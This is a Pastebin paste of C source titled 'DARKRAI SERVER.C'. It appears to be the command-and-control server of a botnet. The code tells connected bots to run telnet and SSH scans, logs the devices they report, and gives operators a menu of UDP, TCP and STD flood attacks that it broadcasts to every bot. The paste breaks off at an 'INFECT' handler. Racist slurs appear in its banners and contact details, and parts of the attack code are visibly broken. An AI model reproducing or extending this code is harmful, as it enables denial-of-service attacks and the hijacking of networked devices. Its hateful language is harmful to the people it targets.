Guest User

server.c

a guest
Dec 18th, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 35.81 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: b1narythag0d
  4. XMPP: b1nary@nigge.rs
  5. Made Date: 7-23-16
  6. */
  7. /*
  8.                 *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  9.  
  10. # ___     __________  ____ _______      _____ _______________.___.  ___
  11. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  12. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  13. #           |    |   \ |   /    |    \/    |    \    |   \\____   |
  14. #           |______  / |___\____|__  /\____|__  /____|_  // ______|
  15. #                  \/              \/         \/       \/ \/
  16.                         *** DARKRAI SERVER.C ***
  17. */
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <stdint.h>
  21. #include <inttypes.h>
  22. #include <string.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <netdb.h>
  26. #include <unistd.h>
  27. #include <time.h>
  28. #include <fcntl.h>
  29. #include <sys/epoll.h>
  30. #include <errno.h>
  31. #include <pthread.h>
  32. #include <signal.h>
  33. #include <arpa/inet.h>
  34. #define MAXFDS 1000000
  35. //////////////////////////////////
  36. struct login_info {
  37.     char username[20];
  38.     char password[20];
  39. };
  40. static struct login_info accounts[10];
  41. struct clientdata_t {
  42.         uint32_t ip;
  43.         char connected;
  44. } clients[MAXFDS];
  45. struct telnetdata_t {
  46.         int connected;
  47. } managements[MAXFDS];
  48. struct args {
  49.         int sock;
  50.         struct sockaddr_in cli_addr;
  51. };
  52. static volatile FILE *telFD;
  53. static volatile FILE *fileFD;
  54. static volatile int epollFD = 0;
  55. static volatile int listenFD = 0;
  56. static volatile int OperatorsConnected = 0;
  57. static volatile int TELFound = 0;
  58. static volatile int scannerreport;
  59. //////////////////////////////////
  60. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  61.     int total = 0, got = 1;
  62.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  63.     return got;
  64. }
  65. void trim(char *str) {
  66.     int i;
  67.     int begin = 0;
  68.     int end = strlen(str) - 1;
  69.     while (isspace(str[begin])) begin++;
  70.     while ((end >= begin) && isspace(str[end])) end--;
  71.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  72.     str[i - begin] = '\0';
  73. }
  74. static int make_socket_non_blocking (int sfd) {
  75.     int flags, s;
  76.     flags = fcntl (sfd, F_GETFL, 0);
  77.     if (flags == -1) {
  78.         perror ("fcntl");
  79.         return -1;
  80.     }
  81.     flags |= O_NONBLOCK;
  82.     s = fcntl (sfd, F_SETFL, flags);
  83.     if (s == -1) {
  84.         perror ("fcntl");
  85.         return -1;
  86.     }
  87.     return 0;
  88. }
  89. static int create_and_bind (char *port) {
  90.     struct addrinfo hints;
  91.     struct addrinfo *result, *rp;
  92.     int s, sfd;
  93.     memset (&hints, 0, sizeof (struct addrinfo));
  94.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  95.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  96.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  97.     s = getaddrinfo (NULL, port, &hints, &result);
  98.     if (s != 0) {
  99.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  100.         return -1;
  101.     }
  102.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  103.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104.         if (sfd == -1) continue;
  105.         int yes = 1;
  106.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108.         if (s == 0) {
  109.             break;
  110.         }
  111.         close (sfd);
  112.     }
  113.     if (rp == NULL) {
  114.         fprintf (stderr, "Could not bind\n");
  115.         return -1;
  116.     }
  117.     freeaddrinfo (result);
  118.     return sfd;
  119. }
  120. void broadcast(char *msg, int us, char *sender)
  121. {
  122.         int sendMGM = 1;
  123.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  124.         char *wot = malloc(strlen(msg) + 10);
  125.         memset(wot, 0, strlen(msg) + 10);
  126.         strcpy(wot, msg);
  127.         trim(wot);
  128.         time_t rawtime;
  129.         struct tm * timeinfo;
  130.         time(&rawtime);
  131.         timeinfo = localtime(&rawtime);
  132.         char *timestamp = asctime(timeinfo);
  133.         trim(timestamp);
  134.         int i;
  135.         for(i = 0; i < MAXFDS; i++)
  136.         {
  137.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  138.                 if(sendMGM && managements[i].connected)
  139.                 {
  140.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  141.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  142.                         send(i, ": ", 2, MSG_NOSIGNAL);
  143.                 }
  144.                 printf("sent to fd: %d\n", i);
  145.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  146.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  147.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  148.         }
  149.         free(wot);
  150. }
  151. void *BotEventLoop(void *useless) {
  152.     struct epoll_event event;
  153.     struct epoll_event *events;
  154.     int s;
  155.     events = calloc (MAXFDS, sizeof event);
  156.     while (1) {
  157.         int n, i;
  158.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  159.         for (i = 0; i < n; i++) {
  160.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  161.                 clients[events[i].data.fd].connected = 0;
  162.                 close(events[i].data.fd);
  163.                 continue;
  164.             }
  165.             else if (listenFD == events[i].data.fd) {
  166.                while (1) {
  167.                 struct sockaddr in_addr;
  168.                 socklen_t in_len;
  169.                 int infd, ipIndex;
  170.  
  171.                 in_len = sizeof in_addr;
  172.                 infd = accept (listenFD, &in_addr, &in_len);
  173.                 if (infd == -1) {
  174.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  175.                     else {
  176.                         perror ("accept");
  177.                         break;
  178.                          }
  179.                 }
  180.  
  181.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  182.                 int dup = 0;
  183.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  184.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  185.                     if(clients[ipIndex].ip == clients[infd].ip) {
  186.                         dup = 1;
  187.                         break;
  188.                     }}
  189.                 if(dup) {
  190.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  191.                     close(infd);
  192.                     continue;
  193.                 }
  194.                 s = make_socket_non_blocking (infd);
  195.                 if (s == -1) { close(infd); break; }
  196.                 event.data.fd = infd;
  197.                 event.events = EPOLLIN | EPOLLET;
  198.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  199.                 if (s == -1) {
  200.                     perror ("epoll_ctl");
  201.                     close(infd);
  202.                     break;
  203.                 }
  204.                 clients[infd].connected = 1;
  205.                 send(infd, "!* TELNET_SCAN ON\n", 18, MSG_NOSIGNAL);
  206.                 send(infd, "!* SSH_SCAN ON\n", 15, MSG_NOSIGNAL);
  207.             }
  208.             continue;
  209.         }
  210.         else {
  211.             int datafd = events[i].data.fd;
  212.             struct clientdata_t *client = &(clients[datafd]);
  213.             int done = 0;
  214.             client->connected = 1;
  215.             while (1) {
  216.                 ssize_t count;
  217.                 char buf[2048];
  218.                 memset(buf, 0, sizeof buf);
  219.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  220.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  221.                     trim(buf);
  222.                     if(strcmp(buf, "PING") == 0) {
  223.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  224.                         continue;
  225.                     }
  226.                     if(strstr(buf, "REPORT ") == buf) {
  227.                         char *line = strstr(buf, "REPORT ") + 7;
  228.                         fprintf(telFD, "%s\n", line);
  229.                         fflush(telFD);
  230.                         TELFound++;
  231.                         continue;
  232.                     }
  233.                     if(strstr(buf, "PROBING") == buf) {
  234.                         char *line = strstr(buf, "PROBING");
  235.                         scannerreport = 1;
  236.                         continue;
  237.                     }
  238.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  239.                         char *line = strstr(buf, "REMOVING PROBE");
  240.                         scannerreport = 0;
  241.                         continue;
  242.                     }
  243.                     if(strcmp(buf, "PONG") == 0) {
  244.                         continue;
  245.                     }
  246.                     printf("buf: \"%s\"\n", buf);
  247.                 }
  248.                 if (count == -1) {
  249.                     if (errno != EAGAIN) {
  250.                         done = 1;
  251.                     }
  252.                     break;
  253.                 }
  254.                 else if (count == 0) {
  255.                     done = 1;
  256.                     break;
  257.                 }
  258.             if (done) {
  259.                 client->connected = 0;
  260.                 close(datafd);
  261. }}}}}}
  262. unsigned int BotsConnected() {
  263.     int i = 0, total = 0;
  264.     for(i = 0; i < MAXFDS; i++) {
  265.         if(!clients[i].connected) continue;
  266.         total++;
  267.     }
  268.     return total;
  269. }
  270. void *TitleWriter(void *sock) {
  271.     int datafd = (int)sock;
  272.     char string[2048];
  273.     while(1) {
  274.         memset(string, 0, 2048);
  275.         sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  276.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  277.         sleep(2);
  278. }}
  279. int Find_Login(char *str) {
  280.     FILE *fp;
  281.     int line_num = 0;
  282.     int find_result = 0, find_line=0;
  283.     char temp[512];
  284.  
  285.     if((fp = fopen("login.txt", "r")) == NULL){
  286.         return(-1);
  287.     }
  288.     while(fgets(temp, 512, fp) != NULL){
  289.         if((strstr(temp, str)) != NULL){
  290.             find_result++;
  291.             find_line = line_num;
  292.         }
  293.         line_num++;
  294.     }
  295.     if(fp)
  296.         fclose(fp);
  297.     if(find_result == 0)return 0;
  298.     return find_line;
  299. }
  300. void *BotWorker(void *sock) {
  301.     int datafd = (int)sock;
  302.     int find_line;
  303.     OperatorsConnected++;
  304.     pthread_t title;
  305.     char buf[2048];
  306.     char* username;
  307.     char* password;
  308.     memset(buf, 0, sizeof buf);
  309.     char botnet[2048];
  310.     memset(botnet, 0, 2048);
  311.     char botcount [2048];
  312.     memset(botcount, 0, 2048);
  313.     char statuscount [2048];
  314.     memset(statuscount, 0, 2048);
  315.  
  316.     FILE *fp;
  317.     int i=0;
  318.     int c;
  319.     fp=fopen("login.txt", "r");
  320.     while(!feof(fp)) {
  321.         c=fgetc(fp);
  322.         ++i;
  323.     }
  324.     int j=0;
  325.     rewind(fp);
  326.     while(j!=i-1) {
  327.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  328.         ++j;
  329.     }
  330.  
  331.         if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  332.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  333.         trim(buf);
  334.         char* nickstring;
  335.         sprintf(accounts[find_line].username, buf);
  336.         nickstring = ("%s", buf);
  337.         find_line = Find_Login(nickstring);
  338.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  339.         if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  340.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  341.         trim(buf);
  342.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  343.         memset(buf, 0, 2048);
  344.         goto Banner;
  345.         }
  346.         failed:
  347.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  348.         char failed_line1[80];
  349.         char ascii_failed_line1  [80];
  350.         char ascii_failed_line2  [80];
  351.         char ascii_failed_line3  [80];
  352.         char ascii_failed_line4  [80];
  353.         char ascii_failed_line5  [80];
  354.         char ascii_failed_line6  [80];
  355.         char ascii_failed_line7  [80];
  356.         char ascii_failed_line8  [80];
  357.         char ascii_failed_line9  [80];
  358.         char ascii_failed_line10 [80];
  359.         char ascii_failed_line11 [80];
  360.         char ascii_failed_line12 [80];
  361.         char ascii_failed_line13 [80];
  362.         char ascii_failed_line14 [80];
  363.         char ascii_failed_line15 [80];
  364.         char ascii_failed_line16 [80];
  365.         char ascii_failed_line17 [80];
  366.  
  367.         sprintf(ascii_failed_line1,  "\x1b[31m         / \           \r\n");
  368.         sprintf(ascii_failed_line2,  "\x1b[31m        |\_/|          \r\n");
  369.         sprintf(ascii_failed_line3,  "\x1b[31m        |---|          \r\n");
  370.         sprintf(ascii_failed_line4,  "\x1b[31m        |   |          \r\n");
  371.         sprintf(ascii_failed_line5,  "\x1b[31m        |   |          \r\n");
  372.         sprintf(ascii_failed_line6,  "\x1b[31m      _ |=-=| _        \r\n");
  373.         sprintf(ascii_failed_line7,  "\x1b[31m  _  / \|   |/ \ _     \r\n");
  374.         sprintf(ascii_failed_line8,  "\x1b[31m / \|   |   |   | \    \r\n");
  375.         sprintf(ascii_failed_line9,  "\x1b[31m|   |   |   |   |  \   \r\n");
  376.         sprintf(ascii_failed_line10, "\x1b[31m|   |   |   |   |   |  \r\n");
  377.         sprintf(ascii_failed_line11, "\x1b[31m| -   -   -   - |)   ) \r\n");
  378.         sprintf(ascii_failed_line12, "\x1b[31m|                   /  \r\n");
  379.         sprintf(ascii_failed_line13, "\x1b[31m \                 /   \r\n");
  380.         sprintf(ascii_failed_line14, "\x1b[31m  \               /    \r\n");
  381.         sprintf(ascii_failed_line15, "\x1b[31m   \             /     \r\n");
  382.         sprintf(ascii_failed_line16, "\x1b[31m    \           /      \r\n");
  383.         sprintf(ascii_failed_line17, "\x1b[31m     |         |       \r\n");
  384.        
  385.         sprintf(failed_line1,        "\r\n\x1b[31mWRONG ANSWER BITCH!!\r\n");
  386.        
  387.         if(send(datafd, ascii_failed_line1,  strlen(ascii_failed_line1),  MSG_NOSIGNAL) == -1) goto end;
  388.         if(send(datafd, ascii_failed_line2,  strlen(ascii_failed_line2),  MSG_NOSIGNAL) == -1) goto end;
  389.         if(send(datafd, ascii_failed_line3,  strlen(ascii_failed_line3),  MSG_NOSIGNAL) == -1) goto end;
  390.         if(send(datafd, ascii_failed_line4,  strlen(ascii_failed_line4),  MSG_NOSIGNAL) == -1) goto end;
  391.         if(send(datafd, ascii_failed_line5,  strlen(ascii_failed_line5),  MSG_NOSIGNAL) == -1) goto end;
  392.         if(send(datafd, ascii_failed_line6,  strlen(ascii_failed_line6),  MSG_NOSIGNAL) == -1) goto end;
  393.         if(send(datafd, ascii_failed_line7,  strlen(ascii_failed_line7),  MSG_NOSIGNAL) == -1) goto end;
  394.         if(send(datafd, ascii_failed_line8,  strlen(ascii_failed_line8),  MSG_NOSIGNAL) == -1) goto end;
  395.         if(send(datafd, ascii_failed_line9,  strlen(ascii_failed_line9),  MSG_NOSIGNAL) == -1) goto end;
  396.         if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  397.         if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  398.         if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  399.         if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  400.         if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  401.         if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  402.         if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  403.         if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  404.        
  405.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  406.         sleep(5);
  407.         goto end;
  408.  
  409.         Banner:
  410.         pthread_create(&title, NULL, &TitleWriter, sock);
  411.         char ascii_banner_line1  [5000];
  412.         char ascii_banner_line2  [5000];
  413.         char ascii_banner_line3  [5000];
  414.         char ascii_banner_line4  [5000];
  415.         char ascii_banner_line5  [5000];
  416.         char ascii_banner_line6  [5000];
  417.         char ascii_banner_line7  [5000];
  418.         char ascii_banner_line8  [5000];
  419.         char ascii_banner_line9  [5000];
  420.         char ascii_banner_line10 [5000];
  421.         char ascii_banner_line11 [5000];
  422.         char ascii_banner_line12 [5000];
  423.         char ascii_banner_line13 [5000];
  424.         char ascii_banner_line14 [5000];
  425.         char welcome_line        [80];
  426.         char banner_text_line1   [80];
  427.         char banner_text_line2   [80];
  428.         char banner_bot_count    [2048];
  429.         memset(banner_bot_count, 0, 2048);
  430.  
  431.         sprintf(ascii_banner_line1,  "\x1b[34m DDDDDDD     AAAAAAAA     RRRRRR     KK    K      RRRRRR     AAAAAAAA     I \r\n");
  432.         sprintf(ascii_banner_line2,  "\x1b[34mDDDDDDDDD   AAAAAAAAAA   RRRRRRRR   KKK    KK    RRRRRRRR   AAAAAAAAAA   II \r\n");
  433.         sprintf(ascii_banner_line3,  "\x1b[34mDDD   `DDD  AAA    AAA  RRR    RRR  KKK    KKK  RRR    RRR  AAA    AAA  III \r\n");
  434.         sprintf(ascii_banner_line4,  "\x1b[34mDDD    DDD  AAA    AAA  RRR    RRR  KKK    KKK  RRR    RRR  AAA    AAA  III \r\n");
  435.         sprintf(ascii_banner_line5,  "\x1b[34mDDD    DDD  AAAAAAAAAA  RRR    RRR  KKK    KKK  RRR    RRR  AAAAAAAAAA  III \r\n");
  436.         sprintf(ascii_banner_line6,  "\x1b[34mDDD    DDD  AAAAAAAAAA  RRR   RRRR  KKKKKKKKKK  RRR   RRRR  AAAAAAAAAA  III \r\n");
  437.         sprintf(ascii_banner_line7,  "\x1b[34mDDD    DDD  AAA    AAA  RRRRRRRRR   KKKKKKKKK   RRRRRRRRR   AAA    AAA  III \r\n");
  438.         sprintf(ascii_banner_line8,  "\x1b[34mDDD    DDD  AAA    AAA  RRRR  RRRR  KKK    KKK  RRRR  RRRR  AAA    AAA  III \r\n");
  439.         sprintf(ascii_banner_line9,  "\x1b[34mDDD    DDD  AAA    AAA  RRR   `RRR  KKK    KKK  RRR    RRR  AAA    AAA  III \r\n");
  440.         sprintf(ascii_banner_line10, "\x1b[34mDDD   DDDD  AAA    AAA  RRR    RRR  KKK    KKK  RRR    RRR  AAA    AAA  III \r\n");
  441.         sprintf(ascii_banner_line11, "\x1b[34mDDDDDDDDD   AAA    AAA  RRR    RRR  KKK    KKK  RRR    RRR  AAA    AAA  III \r\n");
  442.         sprintf(ascii_banner_line12, "\x1b[34mDDDDDDDD    AAA    AAA  RRR    RRR  KKK    KKK  RRR    RRR  AAA    AAA  III \r\n");
  443.         sprintf(ascii_banner_line13, "\x1b[34m                   AA   RR     RR   KK     KK   RR     RR          AA   II  \r\n");
  444.         sprintf(ascii_banner_line14, "\x1b[34m                   A    R      R    K      K    R      R           A    I   \r\n");
  445.         //Created By ~B1NARY~ | Skype: b1narythag0d | XMPP: b1nary@nigge.rs
  446.         sprintf(welcome_line,       "\r\n\x1b[34m[-] BOT COUNT: %d [+] Welcome, %s [+] Niggas %d [-]\r\n", BotsConnected(), accounts[find_line].username, OperatorsConnected);
  447.         sprintf(banner_text_line1,  "\x1b[34m   [-] TYPE HELP FOR LIST OF COMMMANDS [-]\r\n");
  448.         sprintf(banner_text_line2,  "\x1b[34m      [-] TYPE ATTACK FOR ATTACK GUI [+]");
  449.  
  450.         if(send(datafd, ascii_banner_line1,  strlen(ascii_banner_line1),  MSG_NOSIGNAL) == -1) goto end;
  451.         if(send(datafd, ascii_banner_line2,  strlen(ascii_banner_line2),  MSG_NOSIGNAL) == -1) goto end;
  452.         if(send(datafd, ascii_banner_line3,  strlen(ascii_banner_line3),  MSG_NOSIGNAL) == -1) goto end;
  453.         if(send(datafd, ascii_banner_line4,  strlen(ascii_banner_line4),  MSG_NOSIGNAL) == -1) goto end;
  454.         if(send(datafd, ascii_banner_line5,  strlen(ascii_banner_line5),  MSG_NOSIGNAL) == -1) goto end;
  455.         if(send(datafd, ascii_banner_line6,  strlen(ascii_banner_line6),  MSG_NOSIGNAL) == -1) goto end;
  456.         if(send(datafd, ascii_banner_line7,  strlen(ascii_banner_line7),  MSG_NOSIGNAL) == -1) goto end;
  457.         if(send(datafd, ascii_banner_line8,  strlen(ascii_banner_line8),  MSG_NOSIGNAL) == -1) goto end;
  458.         if(send(datafd, ascii_banner_line9,  strlen(ascii_banner_line9),  MSG_NOSIGNAL) == -1) goto end;
  459.         if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  460.         if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  461.         if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  462.         if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  463.         if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  464.         if(send(datafd, welcome_line,        strlen(welcome_line),        MSG_NOSIGNAL) == -1) goto end;
  465.         while(1) {
  466.         if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  467.         if(send(datafd, banner_text_line1,  strlen(banner_text_line1),  MSG_NOSIGNAL) == -1) goto end;
  468.         if(send(datafd, banner_text_line2,  strlen(banner_text_line2),  MSG_NOSIGNAL) == -1) goto end;
  469.         if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  470.         break;
  471.         }
  472.         pthread_create(&title, NULL, &TitleWriter, sock);
  473.         managements[datafd].connected = 1;
  474.  
  475.         while(fdgets(buf, sizeof buf, datafd) > 0)
  476.         {  
  477.    
  478.             if(strstr(buf, "ATTACK"))
  479.             {
  480.                 int choice;
  481.                
  482.                 char ATTACK_MENU [2048];
  483.                
  484.                 char UDP_ATTACK         [2048];
  485.                 char UDP_ATTACK_MESSAGE [2048];
  486.                 char UDP_ATTACK_IP;
  487.                 char UDP_ATTACK_PORT;
  488.                 char UDP_ATTACK_SEC;
  489.                 char UDP_ATTACK_SEND_COMMAND;
  490.                
  491.                 char TCP_ATTACK         [2048];
  492.                 char TCP_ATTACK_MESSAGE [2048];
  493.                 char TCP_ATTACK_IP;
  494.                 char TCP_ATTACK_PORT;
  495.                 char TCP_ATTACK_SEC;
  496.                 char TCP_ATTACK_SEND_COMMAND;
  497.                
  498.                 char STD_ATTACK         [2048];
  499.                 char STD_ATTACK_MESSAGE [2048];
  500.                 char STD_ATTACK_IP;
  501.                 char STD_ATTACK_PORT;
  502.                 char STD_ATTACK_SEC;
  503.                 char STD_ATTACK_SEND_COMMAND;
  504.                
  505.                     sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]");
  506.                     if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end;
  507.                 do
  508.                 {
  509.                     sprintf(UDP_ATTACK,  "[-] 1. UDP ATTACK\r\n");
  510.                     sprintf(TCP_ATTACK,  "[-] 2. TCP ATTACK\r\n");
  511.                     sprintf(STD_ATTACK,  "[-] 3. STD Attack\r\n");
  512.                    
  513.                     if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  514.                     if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  515.                     if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  516.                     scanf("%d", &choice);
  517.                    
  518.                 switch(choice)
  519.                 {
  520.                     case 1:
  521.                    
  522.                         sprintf(UDP_ATTACK_IP, "IP: ");
  523.                         if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  524.                         scanf("%d", &UDP_ATTACK_IP);
  525.                        
  526.                         sprintf(UDP_ATTACK_PORT, "Port: ");
  527.                         if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  528.                         scanf("%d", &UDP_ATTACK_PORT);
  529.                        
  530.                         sprintf("Sec: ", &UDP_ATTACK_SEC);
  531.                         if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  532.                         scanf("%d", &UDP_ATTACK_SEC);
  533.                        
  534.                         sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC);
  535.                         broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT");
  536.                         if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  537.                        
  538.                         sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!");
  539.                         if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  540.                        
  541.                         continue;
  542.                     case 2:
  543.                    
  544.                         sprintf(TCP_ATTACK_IP, "IP: ");
  545.                         if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  546.                         scanf("%d", &TCP_ATTACK_IP);
  547.                        
  548.                         sprintf(TCP_ATTACK_PORT, "Port: ");
  549.                         if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  550.                         scanf("%d", &TCP_ATTACK_PORT);
  551.                        
  552.                         sprintf(TCP_ATTACK_SEC, "Sec: ");
  553.                         if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  554.                         scanf("%d", &TCP_ATTACK_SEC);
  555.                          
  556.                         sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC);
  557.                         broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT");
  558.                         if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  559.                        
  560.                         sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!");
  561.                         if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  562.                        
  563.                         continue;
  564.                        
  565.                     case 3:
  566.                    
  567.                         sprintf(STD_ATTACK_IP, "IP: ");
  568.                         if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  569.                         scanf("%d", &STD_ATTACK_IP);
  570.                        
  571.                         sprintf(STD_ATTACK_PORT, "Port: ");
  572.                         if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  573.                         scanf("%d", &STD_ATTACK_PORT);
  574.                        
  575.                         sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC);
  576.                         broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT");
  577.                         if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  578.                        
  579.                         sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!");
  580.                         if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  581.                        
  582.                         continue;
  583.                        
  584.                        
  585.                 }}
  586.                 while(choice !=3);
  587.             }
  588.             if(strstr(buf, "BOTS"))
  589.             {
  590.                 sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  591.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  592.                 continue;
  593.             }
  594.             if(strstr(buf, "STATUS"))
  595.             {
  596.                 sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  597.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  598.                 continue;
  599.             }
  600.             if(strstr(buf, "STATS"))
  601.             {
  602.                 sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  603.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  604.                 sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  605.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  606.                 continue;
  607.             }
  608.             if(strstr(buf, "INFECT"))
  609.             {
